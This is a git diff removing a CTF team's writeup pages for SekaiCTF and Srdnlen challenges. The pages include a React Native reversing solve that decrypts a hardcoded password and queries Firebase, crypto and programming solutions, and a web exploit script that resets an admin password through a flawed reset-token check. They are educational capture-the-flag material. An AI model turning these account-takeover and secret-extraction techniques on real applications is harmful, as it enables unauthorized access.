-from Crypto.Cipher import AES
-from Crypto.Util.Padding import unpad
-
-key = b"react_native_expo_version_47.0.0"[:32]
-iv = b"__sekaictf2023__"
-ciphertext = binascii.unhexlify(
-    "03afaa672ff078c63d5bdb0ea08be12b09ea53ea822cd2acef36da5b279b9524")
-email = "admin@sekai.team"
-
-def decrypt_password():
-  cipher = AES.new(key, AES.MODE_CBC, iv)
-  decrypted = unpad(cipher.decrypt(ciphertext), AES.block_size)
-
-  password = decrypted.decode('utf-8')
-  assert len(password) == 17
-
-  return password
-
-  def main():
-    password = decrypt_password()
-    print("password:", password)
-    print("email: ", email)
-
-if __name__ == '__main__':
-    main()
-
-
-# OUTPUT:
-
-# password: s3cr3t_SEKAI_P@ss
-# email: admin@sekai.team
-
-
-

PERFECT! It’s done, we have the flag, we just need to log in to the application

-img-app3 -

OR MAYBE NOT 😥…

- -

Fifth step - - - - - - - - -

- -

After a moment’s panic, I resume checking the code and how the login system works; indeed, we can see that as soon as the login is complete, a request is made to the database (probably the firebase realtime database)

-

So, in a sense, the flag has been given to us, we just have to catch it on the fly, and there are two ways of doing that.

- -

Unintended solution - - - - - - - - -

- -

The first solution was to intercept the call and answer from the app to the db and vice versa, but using arch with an NVIDIA video card I had trouble with Android emulation, but you can still find a solution. similar solution

- -

Intended solution (The one i performed) - - - - - - - - -

- -

Given my difficulties with the emulation of the application, I continued my search for code, this time also searching Firebase, and managed to find something very interesting

-
var c = {
-  apiKey: "AIzaSyCR2Al5_9U5j6UOhqu0HCDS0jhpYfa2Wgk",
-  authDomain: "crackme-1b52a.firebaseapp.com",
-  projectId: "crackme-1b52a",
-  storageBucket: "crackme-1b52a.appspot.com",
-  messagingSenderId: "544041293350",
-  appId: "1:544041293350:web:2abc55a6bb408e4ff838e7",
-  measurementId: "G-RDD86JV32R",
-  databaseURL: "https://crackme-1b52a-default-rtdb.firebaseio.com",
-};
-exports.default = c;
-
-

As you can see, we are faced with a firebase configuration file with sensitive information that allows us to connect directly to the firebase database using js. -So in the end we just need to replicate the functions used in the login to get the flag.

- -

Solution - - - - - - - - -

- -

-
# filename: exploit.py
-
-from Crypto.Cipher import AES
-from Crypto.Util.Padding import unpad
-import binascii
-import subprocess
-
-key = b"react_native_expo_version_47.0.0"[:32]
-iv = b"__sekaictf2023__"
-ciphertext = binascii.unhexlify(
-    "03afaa672ff078c63d5bdb0ea08be12b09ea53ea822cd2acef36da5b279b9524")
-email = "admin@sekai.team"
-
-
-def get_flag(email, password):
-    process = subprocess.Popen(
-        ["node", "exploit.js", email, password],
-        stdout=subprocess.PIPE,
-        stderr=subprocess.PIPE
-    )
-
-    stdout, stderr = process.communicate()
-
-    print(stdout.decode('utf-8'))
-
-    if stderr:
-        print(stderr.decode('utf-8'))
-
-def decrypt_password():
-  cipher = AES.new(key, AES.MODE_CBC, iv)
-  decrypted = unpad(cipher.decrypt(ciphertext), AES.block_size)
-
-  password = decrypted.decode('utf-8')
-  assert len(password) == 17
-
-  return password
-
-def main():
-    password = decrypt_password()
-    print("password:", password)
-    print("email: ", email)
-    get_flag(email, password)
-
-
-if __name__ == '__main__':
-    main()
-
-
-
// filename: exploit.js
-import { initializeApp } from "firebase/app";
-import { getAuth, signInWithEmailAndPassword } from "firebase/auth";
-import { getDatabase, ref, get } from "firebase/database";
-import { exit } from "process";
-
-let app = initializeApp({
-  apiKey: "AIzaSyCR2Al5_9U5j6UOhqu0HCDS0jhpYfa2Wgk",
-  authDomain: "crackme-1b52a.firebaseapp.com",
-  storageBucket: "crackme-1b52a.appspot.com",
-  projectId: "crackme-1b52a",
-  messagingSenderId: "544041293350",
-  appId: "1:544041293350:web:2abc55a6bb408e4ff838e7",
-  measurementId: "G-RDD86JV32R",
-  databaseURL: "https://crackme-1b52a-default-rtdb.firebaseio.com",
-});
-
-var db = getDatabase(app);
-var auth = getAuth(app);
-
-async function loginAndGetFlag(email, password) {
-  try {
-    const userCredential = await signInWithEmailAndPassword(
-      auth,
-      email,
-      password
-    );
-    console.log("Logged in");
-    var n = ref(db, "users/" + userCredential.user.uid + "/flag");
-
-    const snapshot = await get(n);
-    if (snapshot.exists()) {
-      console.log("Flag value:", snapshot.val());
-    }
-  } catch (error) {
-    console.error("Error logging in or fetching flag:", error);
-  }
-}
-
-const args = process.argv.slice(2);
-const email = args[0];
-const password = args[1];
-
-
$ flag: SEKAI{15_React_N@71v3_R3v3rs3_H@RD???}
-
-

Author: akiidjk

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/sekaictf2024/index.html b/public/writeups/sekaictf2024/index.html deleted file mode 100644 index 5e5067b3..00000000 --- a/public/writeups/sekaictf2024/index.html +++ /dev/null @@ -1,447 +0,0 @@ - - - - - - - - - - - SekaiCTF 2024 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
CTF
- - -
Sekai
- - -
Crypto
- - -
Web
- - -
Reverse
- - -
Pwn
- - -
PPC
- - -
Blockchain
- - -
Misc
- - -
- -
-

- Last edit: Aug 26, 2024 -

-
- - -
- - - -
- - - - - - -

SekaiCTF 2024 - - - - - - - - -

- - -

Description - - - - - - - - -

- -

SekaiCTF is back for its third iteration! This year’s competition will feature various categories designed to test participants’ skills and incentivize learning. Our CTF will have more difficult challenges, and are catered towards intermediate and advanced players—however, there will still be beginner-friendly challenges to welcome players on the newer side.

- - -

Performance Summary - - - - - - - - -

- -
    -
  • CTFs: 3/34
  • -
  • Total points: 369
  • -
  • Position: 136/1230
  • -
  • Rating points: 2.721
  • -
- -

Writeups - - - - - - - - -

- - -

Rev - - - - - - - - -

- - - -

Crypto - - - - - - - - -

- - - -

PPC (Professional Programming & Coding) - - - - - - - - -

- - - -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/sekaictf2024/mikuvsmachine/index.html b/public/writeups/sekaictf2024/mikuvsmachine/index.html deleted file mode 100644 index 9ec947de..00000000 --- a/public/writeups/sekaictf2024/mikuvsmachine/index.html +++ /dev/null @@ -1,595 +0,0 @@ - - - - - - - - - - - Miku vs. Machine - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- -
PPC
- - -
Python
- - -
100 points
- - -
176 solves
- - -
null_awe
- - -
- -
-

- Last edit: Aug 26, 2024 -

-
- - -
- - - -
- - - - - -

Miku vs. Machine

-

Description: Time limit is 2 seconds for this challenge.

-

Official resources of challenge

- -

Introduction - - - - - - - - -

- -

The goal is to distribute the hours of n singers in m shows. -Each show has a number of hours equal to l (unknown) and can only change singers once. -We also want that each singer will have the same time on stage.

- -

Solution - - - - - - - - -

- -

To solve this problem, I use a greedy strategy that iteratively divides the available singing time among the singers, ensuring that each singer fulfills their required hours.

-
T = int(input())
-
-for _ in range(T):
-    n, m = map(int, input().split(' '))
-    l = n
-    print(l)
-    duration_for_singer = m
-    singers = [duration_for_singer] * n
-    for i in range(len(singers)):
-        while singers[i] > 0:
-            show = []
-            if (singers[i] - l) >= 0:
-                show.append((l//2, i+1))
-                show.append((l - l//2, i+1))
-                singers[i] -= l
-            elif singers[i] < l:
-                show.append((singers[i], i+1))
-                show.append((l - singers[i], i+2))
-                singers[i+1] -= l - singers[i]
-                singers[i] = 0
-            print(f"{show[0][0]} {show[0][1]} {show[1][0]} {show[1][1]}")
-
- -

Step-by-Step Explanation - - - - - - - - -

- -
    -
  1. Initialization
  2. -
-
    -
  • The first input T represents the number of test cases.
  • -
  • After some experimentation on pen and paper, I noticed that the minimum value of l is equal to the number of singers, so l is set to n.
  • -
  • I initialize a list singers of length n, where each element is set to m to represent the remaining singing hours for each singer.
  • -
-
    -
  1. Time Distribution Logic
  2. -
-
    -
  • I iterate over each singer using a loop. For each singer i, the following steps are performed: -
      -
    • While Loop: Continue allocating time to the current singer as long as they have hours remaining (singers[i] > 0).
    • -
    • Time Allocation: -
        -
      • If the current singer has l or more hours remaining, divide l hours into two chunks: -
          -
        • The first chunk is l//2 hours, and the second chunk is l - l//2 hours. Both chunks are allocated to the same singer.
        • -
        • Subtract l from the singer’s remaining hours.
        • -
        -
      • -
      • If the current singer has less than l hours remaining: -
          -
        • Allocate all remaining hours to the current singer.
        • -
        • Allocate the rest of l to the next singer in line (i+2).
        • -
        • Subtract the hours from the next singer’s total.
        • -
        -
      • -
      -
    • -
    • Output: -
        -
      • After each allocation, the result is stored in a list show and printed in the format {hours1} {singer1} {hours2} {singer2}.
      • -
      -
    • -
    -
  • -
-
    -
  1. Output
  2. -
-
    -
  • The program prints the number l as the first line for each test case.
  • -
  • For each show, the specific distribution of hours between the singers is printed.
  • -
- -

Example Execution - - - - - - - - -

- - -

Input - - - - - - - - -

- -

n = 4
-m = 7

- -

Execution - - - - - - - - -

- -

l = 4
-singers = [7, 7, 7, 7]

-
    -
  • -

    i = 0

    -
      -
    • -

      show = (hours:2 singer:1 , hours:2 singer:1)
      -singers = [3, 7, 7, 7]

      -
    • -
    • -

      show = ( hours:3 singer:1 , hours:1 singer:2 )
      -singers = [0, 6, 7, 7]

      -
    • -
    -
  • -
  • -

    i = 1

    -
      -
    • -

      show = ( hours:2 singer:2 , hours:2 singer:2 )
      -singers = [0, 2, 7, 7]

      -
    • -
    • -

      show = ( hours:2 singer:2 , hours:2 singer:3 )
      -singers = [0, 0, 5, 7]

      -
    • -
    -
  • -
  • -

    i = 2

    -
      -
    • -

      show = ( hours:2 singer:3 , hours:2 singer:3 )
      -singers = [0, 0, 1, 7]

      -
    • -
    • -

      show = ( hours:1 singer:3 , hours:3 singer:4 )
      -singers = [0, 0, 0, 4]

      -
    • -
    -
  • -
  • -

    i = 3

    -
      -
    • show = ( hours:2 singer:4 , hours:2 singer:4 )
      -singers = [0, 0, 0, 0]
    • -
    -
  • -
- -

Output - - - - - - - - -

- -
4
-2 1 2 1
-3 1 1 2
-2 2 2 2
-2 2 2 3
-2 3 2 3
-1 3 3 4
-2 4 2 4
-
- -

Conclusion - - - - - - - - -

- -

I don’t consider this challenge difficult, it’s just a greedy algorithm (it takes a lot more to scare a LeetCode boy), but it wasn’t immediately clear that the output didn’t necessarily have to be the same as that shown in the challenge’s PDF , but it was enough to fit the constraints of the problem.

-
$ flag: SEKAI{t1nyURL_th1s:_6d696b75766d}
-
-

Author: Tatore

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/sekaictf2024/sometrick/index.html b/public/writeups/sekaictf2024/sometrick/index.html deleted file mode 100644 index 02f801f6..00000000 --- a/public/writeups/sekaictf2024/sometrick/index.html +++ /dev/null @@ -1,498 +0,0 @@ - - - - - - - - - - - Some Trick - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Cryptography
- - -
Python
- - -
100 points
- - -
127 solves
- - -
deut-erium
- - -
- -
-

- Last edit: Aug 26, 2024 -

-
- - -
- - - -
- - - - - -

Some Trick

-

Description: Bob and Alice found a futuristic version of opunssl and replaced all their needs for doofy wellmen.

- -

Introduction - - - - - - - - -

- -

Some Trick was the first cryptography challenge in the 2024 edition of SekaiCTF. The challenge implements a key exchange based on a set of permutations and asks us to retrieve the flag that was used as a key in Bob’s first encryption.

-
import random
-from secrets import randbelow, randbits
-from flag import FLAG
-
-CIPHER_SUITE = randbelow(2**256)
-print(f"oPUN_SASS_SASS_l version 4.0.{CIPHER_SUITE}")
-random.seed(CIPHER_SUITE)
-
-GSIZE = 8209
-GNUM = 79
-
-LIM = GSIZE**GNUM
-
-
-def gen(n):
-    p, i = [0] * n, 0
-    for j in random.sample(range(1, n), n - 1):
-        p[i], i = j, j
-    return tuple(p)
-
-
-def gexp(g, e):
-    res = tuple(g)
-    while e:
-        if e & 1:
-            res = tuple(res[i] for i in g)
-        e >>= 1
-        g = tuple(g[i] for i in g)
-    return res
-
-
-def enc(k, m, G):
-    if not G:
-        return m
-    mod = len(G[0])
-    return gexp(G[0], k % mod)[m % mod] + enc(k // mod, m // mod, G[1:]) * mod
-
-
-def inverse(perm):
-    res = list(perm)
-    for i, v in enumerate(perm):
-        res[v] = i
-    return res
-
-
-G = [gen(GSIZE) for i in range(GNUM)]
-
-
-FLAG = int.from_bytes(FLAG, 'big')
-left_pad = randbits(randbelow(LIM.bit_length() - FLAG.bit_length()))
-FLAG = (FLAG << left_pad.bit_length()) + left_pad
-FLAG = (randbits(randbelow(LIM.bit_length() - FLAG.bit_length()))
-        << FLAG.bit_length()) + FLAG
-
-bob_key = randbelow(LIM)
-bob_encr = enc(FLAG, bob_key, G)
-print("bob says", bob_encr)
-alice_key = randbelow(LIM)
-alice_encr = enc(bob_encr, alice_key, G)
-print("alice says", alice_encr)
-bob_decr = enc(alice_encr, bob_key, [inverse(i) for i in G])
-print("bob says", bob_decr)
-
- -

Solution - - - - - - - - -

- -

The first thing we do is retrieve the CIPHER_SUITE variable to set the random seed and reconstruct the set of permutations G, then we care about retrieving bob_key to ultimately recover the flag.

-
s = int(r.recvline().strip().decode().split('.')[-1])
-random.seed(s)
-
-G = [gen(GSIZE) for i in range(GNUM)]
-
-
def decm(k, G, val):
-    m = 0
-    for i in range(GNUM):
-        x = val % GSIZE
-        y = gexp(G[i], k % GSIZE).index(x)
-        m += y * GSIZE ** i
-        val = (val - x) // GSIZE
-        k //= GSIZE
-    return m
-
-bob_key = decm(alice_encr, G, bob_encr)
-
-

Recovering the flag takes a bit more work, I’ve only managed a brute-force solution which I optimized the best I could; it’s not the best but it does the job.

-
def maketable(g):
-    gg = deepcopy(g) # just to be safe
-    table = {}
-    for i in range(GSIZE):
-        table[i] = gg
-        gg = tuple(gg[i] for i in gg)
-    return table
-
-def perm(table, e):
-    res = tuple(table[0])
-    rbits = reversed(bits(e))
-    ones = filter(lambda x: x != -1, [i if v == 1 else -1 for i, v in enumerate(rbits)])
-    for index in ones:
-        res = tuple(res[j] for j in table[index])
-    return res
-
-def findk(queue, event, table, start, end, index, want):
-    for k in range(start, min(GSIZE, end)):
-        if event.is_set():
-            return
-        if perm(table, k)[index] == want:
-            event.set()
-            queue.put(k)
-            return
-
-def deck(m, G, val):
-    key = 0
-    for i in range(GNUM):
-        x = val % GSIZE
-        table = maketable(G[i])
-        queue = mp.Queue()
-        event = mp.Event()
-        ps = [mp.Process(target=findk, args=(queue, event, table, start, start + (GSIZE // mp.cpu_count()) + 1, m % GSIZE, x)) for start in range(0, GSIZE, GSIZE // mp.cpu_count())][:mp.cpu_count()]
-        for p in ps:
-            p.start()
-
-        k = queue.get()
-        if k == 0:
-            return key
-
-        key += k * GSIZE ** i
-        val = (val - x) // GSIZE
-        m //= GSIZE
-    return key + m * GSIZE ** GNUM
-
-key = deck(bob_key, G, bob_encr)
-
-

The recovered key isn’t the flag yet, as it went through some transformations first, but it’s clear that the flag’s bits are still there in the middle, untouched between the two paddings, so we can just do some shifting until we find it.

-
    for i in range(key.bit_length()):
-        shifted = key >> i
-        for j in range(1, shifted.bit_length()):
-            keepmask = (1 << j) - 1
-            final = shifted & keepmask
-            dec = final.to_bytes(keepmask.bit_length() // 8 + 1)
-            if b'SEKAI{' in dec:
-                start = dec.index(b'SEKAI')
-                end = start + dec[start:].index(b'}') + 1
-                print(f'flag: {dec[start:end].decode()}')
-                break
-        else:
-            continue
-        break
-
-
flag: SEKAI{7c124c1b2aebfd9e439ca1c742d26b9577924b5a1823378028c3ed59d7ad92d1}
-
-

Author: vympel

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/sekaictf2024/trickme/index.html b/public/writeups/sekaictf2024/trickme/index.html deleted file mode 100644 index ea4df9d5..00000000 --- a/public/writeups/sekaictf2024/trickme/index.html +++ /dev/null @@ -1,471 +0,0 @@ - - - - - - - - Some Trick - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Cryptography
- - -
Python
- - -
100 points
- - -
127 solves
- - -
deut-erium
- - -
- -
-

- Last edit: Aug 26, 2024 -

-
- - -
- - - -
- - - - - -

Some Trick

-

Description: Bob and Alice found a futuristic version of opunssl and replaced all their needs for doofy wellmen.

- -

Introduction - - - - - - - - -

- -

Some Trick was the first cryptography challenge in the 2024 edition of SekaiCTF. The challenge implements a key exchange based on a set of permutations and asks us to retrieve the flag that was used as a key in Bob’s first encryption.

-
import random
-from secrets import randbelow, randbits
-from flag import FLAG
-
-CIPHER_SUITE = randbelow(2**256)
-print(f"oPUN_SASS_SASS_l version 4.0.{CIPHER_SUITE}")
-random.seed(CIPHER_SUITE)
-
-GSIZE = 8209
-GNUM = 79
-
-LIM = GSIZE**GNUM
-
-
-def gen(n):
-    p, i = [0] * n, 0
-    for j in random.sample(range(1, n), n - 1):
-        p[i], i = j, j
-    return tuple(p)
-
-
-def gexp(g, e):
-    res = tuple(g)
-    while e:
-        if e & 1:
-            res = tuple(res[i] for i in g)
-        e >>= 1
-        g = tuple(g[i] for i in g)
-    return res
-
-
-def enc(k, m, G):
-    if not G:
-        return m
-    mod = len(G[0])
-    return gexp(G[0], k % mod)[m % mod] + enc(k // mod, m // mod, G[1:]) * mod
-
-
-def inverse(perm):
-    res = list(perm)
-    for i, v in enumerate(perm):
-        res[v] = i
-    return res
-
-
-G = [gen(GSIZE) for i in range(GNUM)]
-
-
-FLAG = int.from_bytes(FLAG, 'big')
-left_pad = randbits(randbelow(LIM.bit_length() - FLAG.bit_length()))
-FLAG = (FLAG << left_pad.bit_length()) + left_pad
-FLAG = (randbits(randbelow(LIM.bit_length() - FLAG.bit_length()))
-        << FLAG.bit_length()) + FLAG
-
-bob_key = randbelow(LIM)
-bob_encr = enc(FLAG, bob_key, G)
-print("bob says", bob_encr)
-alice_key = randbelow(LIM)
-alice_encr = enc(bob_encr, alice_key, G)
-print("alice says", alice_encr)
-bob_decr = enc(alice_encr, bob_key, [inverse(i) for i in G])
-print("bob says", bob_decr)
-
- -

Solution - - - - - - - - -

- -

The first thing we do is retrieve the CIPHER_SUITE variable to set the random seed and reconstruct the set of permutations G, then we care about retrieving bob_key to ultimately recover the flag.

-
s = int(r.recvline().strip().decode().split('.')[-1])
-random.seed(s)
-
-G = [gen(GSIZE) for i in range(GNUM)]
-
-
def decm(k, G, val):
-    m = 0
-    for i in range(GNUM):
-        x = val % GSIZE
-        y = gexp(G[i], k % GSIZE).index(x)
-        m += y * GSIZE ** i
-        val = (val - x) // GSIZE
-        k //= GSIZE
-    return m
-
-bob_key = decm(alice_encr, G, bob_encr)
-
-

Recovering the flag takes a bit more work, I’ve only managed a brute-force solution which I optimized the best I could; it’s not the best but it does the job.

-
def maketable(g):
-    gg = deepcopy(g) # just to be safe
-    table = {}
-    for i in range(GSIZE):
-        table[i] = gg
-        gg = tuple(gg[i] for i in gg)
-    return table
-
-def perm(table, e):
-    res = tuple(table[0])
-    rbits = reversed(bits(e))
-    ones = filter(lambda x: x != -1, [i if v == 1 else -1 for i, v in enumerate(rbits)])
-    for index in ones:
-        res = tuple(res[j] for j in table[index])
-    return res
-
-def findk(queue, event, table, start, end, index, want):
-    for k in range(start, min(GSIZE, end)):
-        if event.is_set():
-            return
-        if perm(table, k)[index] == want:
-            event.set()
-            queue.put(k)
-            return
-
-def deck(m, G, val):
-    key = 0
-    for i in range(GNUM):
-        x = val % GSIZE
-        table = maketable(G[i])
-        queue = mp.Queue()
-        event = mp.Event()
-        ps = [mp.Process(target=findk, args=(queue, event, table, start, start + (GSIZE // mp.cpu_count()) + 1, m % GSIZE, x)) for start in range(0, GSIZE, GSIZE // mp.cpu_count())][:mp.cpu_count()]
-        for p in ps:
-            p.start()
-
-        k = queue.get()
-        if k == 0:
-            return key
-
-        key += k * GSIZE ** i
-        val = (val - x) // GSIZE
-        m //= GSIZE
-    return key + m * GSIZE ** GNUM
-
-key = deck(bob_key, G, bob_encr)
-
-

The recovered key isn’t the flag yet, as it went through some transformations first, but it’s clear that the flag’s bits are still there in the middle, untouched between the two paddings, so we can just do some shifting until we find it.

-
    for i in range(key.bit_length()):
-        shifted = key >> i
-        for j in range(1, shifted.bit_length()):
-            keepmask = (1 << j) - 1
-            final = shifted & keepmask
-            dec = final.to_bytes(keepmask.bit_length() // 8 + 1)
-            if b'SEKAI{' in dec:
-                start = dec.index(b'SEKAI')
-                end = start + dec[start:].index(b'}') + 1
-                print(f'flag: {dec[start:end].decode()}')
-                break
-        else:
-            continue
-        break
-
-
flag: SEKAI{7c124c1b2aebfd9e439ca1c742d26b9577924b5a1823378028c3ed59d7ad92d1}
-
-

Author: vympel

- -
-
- -
-
-
-
Copyright © 2024 by ByteTheCookies Team | v1.0
-
- - - diff --git a/public/writeups/srdnlen2025/ben10/index.html b/public/writeups/srdnlen2025/ben10/index.html deleted file mode 100644 index 126eef7c..00000000 --- a/public/writeups/srdnlen2025/ben10/index.html +++ /dev/null @@ -1,554 +0,0 @@ - - - - - - - - - - - Ben 10 - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
Web
- - -
Python
- - -
Business logic vulnerability
- - -
gheddus
- - -
- -
-

- Last edit: Mar 11, 2025 -

-
- - -
- - - -
- - - - - -

Ben 10

-

Description: Ben Tennyson’s Omnitrix holds a mysterious and powerful form called Materia Grigia — a creature that only those with the sharpest minds can access. It’s hidden deep within the system, waiting for someone clever enough to unlock it. Only the smartest can access what’s truly hidden.

-

Can you outsmart the system and reveal the flag?

- -

Introduction - - - - - - - - -

- -

This is one of the webs of the 2025 italian championship cybercup first round, the ctf was made in january 2025, and I’m writing the writeups only so some information could be wrong or not complete.

-

The challenge is presented in a very clear and simple way, we have in front of us a login form and one to register, once logged in we see we are shown several photos of the different aliens of ben10.

-

screen

-

When we try to click on each alien, it just opens another screen with details, until the last one hides information that only the admin can see.

-

screen

-

From here I would say that a look at the code would not hurt.

- -

Source - - - - - - - - -

- -

Analysing the code, we see that the admin is created at the same time as the user, so each user has their own randomly generated admin.

-
    admin_username = f"admin^{username}^{secrets.token_hex(5)}"
-    admin_password = secrets.token_hex(8)
-
-

And as you can see, the admin username is associated with the user created.

-
    conn = sqlite3.connect(DATABASE)
-    cursor = conn.cursor()
-    cursor.execute("INSERT INTO users (username, password, admin_username) VALUES (?, ?, ?)",(username, password, admin_username))
-    cursor.execute("INSERT INTO users (username, password, admin_username) VALUES (?, ?, ?)",(admin_username, admin_password, None))
-    conn.commit()
-
-

So the first problem is to understand how to find the name of our admin. But fortunately, it’s quite simple, because we see that it’s simply inserted into a template, and therefore probably somewhere in the HTML when rendered.

-
return render_template('home.html', username=username, admin_username=admin_username, image_names=image_names)
-
-
{% extends "base.html" %}
-
-{% block content %}
-    <h1>Welcome, {{ username }}</h1>
-    <h2>Do you like the aliens on my Omnitrix?</h2>
-
-    <!-- secret admin username -->
-    <div style="display:none;" id="admin_data">{{ admin_username }}</div>
-
-    <div id="image-grid">
-        {% for image_name in image_names %}
-            <div>
-                <img src="{{ url_for('static', filename='images/' + image_name + '.webp') }}" alt="{{ image_name }}"
-                    onclick="window.location.href='/image/{{ image_name }}'" style="cursor:pointer;">
-            </div>
-        {% endfor %}
-    </div>
-
-    <a href="{{ url_for('logout') }}" style="margin-top: 20px; display: block;">Logout</a>
-{% endblock %}
-
-

So the first problem is solved…

-

The second is to find out how to access the secret image, with the aim of logging in as admin. To do this, we go back to analysing the source code.

-

Among the various endpoints, we find /reset_password and /forgot_password.

-

The former allows us to generate a reset token to be used in /forgot_password to change the user’s password.

-
@app.route('/reset_password', methods=['GET', 'POST'])
-def reset_password():
-    """Handle reset password request."""
-    if request.method == 'POST':
-        username = request.form['username']
-
-        if username.startswith('admin'):
-            flash("Admin users cannot request a reset token.", "error")
-            return render_template('reset_password.html')
-
-        if not get_user_by_username(username):
-            flash("Username not found.", "error")
-            return render_template('reset_password.html')
-
-        reset_token = secrets.token_urlsafe(16)
-        update_reset_token(username, reset_token)
-
-        flash("Reset token generated!", "success")
-        return render_template('reset_password.html', reset_token=reset_token)
-
-    return render_template('reset_password.html')
-
-
-@app.route('/forgot_password', methods=['GET', 'POST'])
-def forgot_password():
-    """Handle password reset."""
-    if request.method == 'POST':
-        username = request.form['username']
-        reset_token = request.form['reset_token']
-        new_password = request.form['new_password']
-        confirm_password = request.form['confirm_password']
-
-        if new_password != confirm_password:
-            flash("Passwords do not match.", "error")
-            return render_template('forgot_password.html', reset_token=reset_token)
-
-        user = get_user_by_username(username)
-        if not user:
-            flash("User not found.", "error")
-            return render_template('forgot_password.html', reset_token=reset_token)
-
-        if not username.startswith('admin'):
-            token = get_reset_token_for_user(username)
-            if token and token[0] == reset_token:
-                update_password(username, new_password)
-                flash(f"Password reset successfully.", "success")
-                return redirect(url_for('login'))
-            else:
-                flash("Invalid reset token for user.", "error")
-        else:
-            username = username.split('^')[1]
-            token = get_reset_token_for_user(username)
-            if token and token[0] == reset_token:
-                update_password(request.form['username'], new_password)
-                flash(f"Password reset successfully.", "success")
-                return redirect(url_for('login'))
-            else:
-                flash("Invalid reset token for user.", "error")
-
-    return render_template('forgot_password.html', reset_token=request.args.get('token'))
-
-

The problem here is on line 183, where instead of using username it uses request.form['username'], and this causes a big problem because now you can just use the normal user’s token to reset the admin’s password.

- -

Solution - - - - - - - - -

- -
# filename: exploit.py
-
-#!/usr/bin/python3
-import random
-import string
-
-import requests
-from bs4 import BeautifulSoup
-
-BASE_URL = "http://localhost:5000/"
-
-s = requests.Session()
-
-def string_generator(length):
-    return ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
-
-def login(username, password):
-    data = {
-        "username": username,
-        "password": password
-    }
-    r = s.post(f"{BASE_URL}/login", data=data)
-    return r.status_code == 200
-
-def register(username, password):
-    data = {
-        "username": username,
-        "password": password
-    }
-    r = s.post(f"{BASE_URL}/register", data=data)
-    return r.status_code == 200
-
-def get_admin():
-    r = s.get(BASE_URL)
-    soup = BeautifulSoup(r.text, 'html.parser')
-    admin_username = soup.find('div', {'id': 'admin_data'}).text.strip()
-    print("[+] Admin Username:", admin_username)
-    return admin_username
-
-def get_reset_token(username):
-    r = s.post(f"{BASE_URL}/reset_password",data={"username": username})
-    soup = BeautifulSoup(r.text, 'html.parser')
-    token = soup.find('strong').text.strip()
-    return token
-
-def exploit(username_admin,token):
-    data = {
-        "username": username_admin,
-        "reset_token": token,
-        "new_password": "cookieforme",
-        "confirm_password": "cookieforme"
-    }
-    r = s.post(f"{BASE_URL}/forgot_password", data=data)
-    if r.status_code == 200:
-        print("[+] Generated new password!")
-    else:
-        print("[!] Failed to generate new password")
-        return
-
-    if login(username_admin, "cookieforme"):
-        print("[+] Logged in as admin!")
-    else:
-        print("[!] Failed to login as admin")
-        return
-
-    return s.get(f"{BASE_URL}/image/ben10").text
-
-def main():
-    username = string_generator(10)
-    password = string_generator(10)
-    register(username, password)
-    login(username, password)
-    username_admin = get_admin()
-    token = get_reset_token(username)
-    print(exploit(username_admin,token))
-
-
-if __name__ == "__main__":
-	main()
-
-
-# goodluck by @akiidjk
-
-

Author: akiidjk

- -
-
- -
-
-
-
Copyright © 2025 by ByteTheCookies Team | v1.0.5
-
- - - diff --git a/public/writeups/srdnlen2025/confusion/index.html b/public/writeups/srdnlen2025/confusion/index.html deleted file mode 100644 index ddb4c793..00000000 --- a/public/writeups/srdnlen2025/confusion/index.html +++ /dev/null @@ -1,432 +0,0 @@ - - - - - - - - - - - Confusion - ByteTheCookies - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- - -
- -
-
- -
-
- - - - - - - - - - - - -
- - -
- - - - - - -
- - - -
-
- -
-
- - -
Table of contents
- - - -
- - - -
- -
crypto
- - -
Zaua
- - -
- -
-

- Last edit: Mar 12, 2025 -

-
- - -
- - - -
- - - - - - -

Confusion

- -

Looks like our cryptographers had one too many glasses of mirto! Can you sober up their sloppy AES scheme, or will the confusion keep you spinning?

- -

Introduction

- -

Confusion was a crypto CTF from Srdnlen CTF 2025.

-
#!/usr/bin/env python3
-
-from Crypto.Cipher import AES
-from Crypto.Util.Padding import pad, unpad
-import os
-
-# Local imports
-FLAG = os.getenv("FLAG", "srdnlen{REDACTED}").encode()
-
-# Server encryption function
-def encrypt(msg, key):
-    pad_msg = pad(msg, 16)
-    blocks = [os.urandom(16)] + [pad_msg[i:i + 16] for i in range(0, len(pad_msg), 16)]
-
-    b = [blocks[0]]
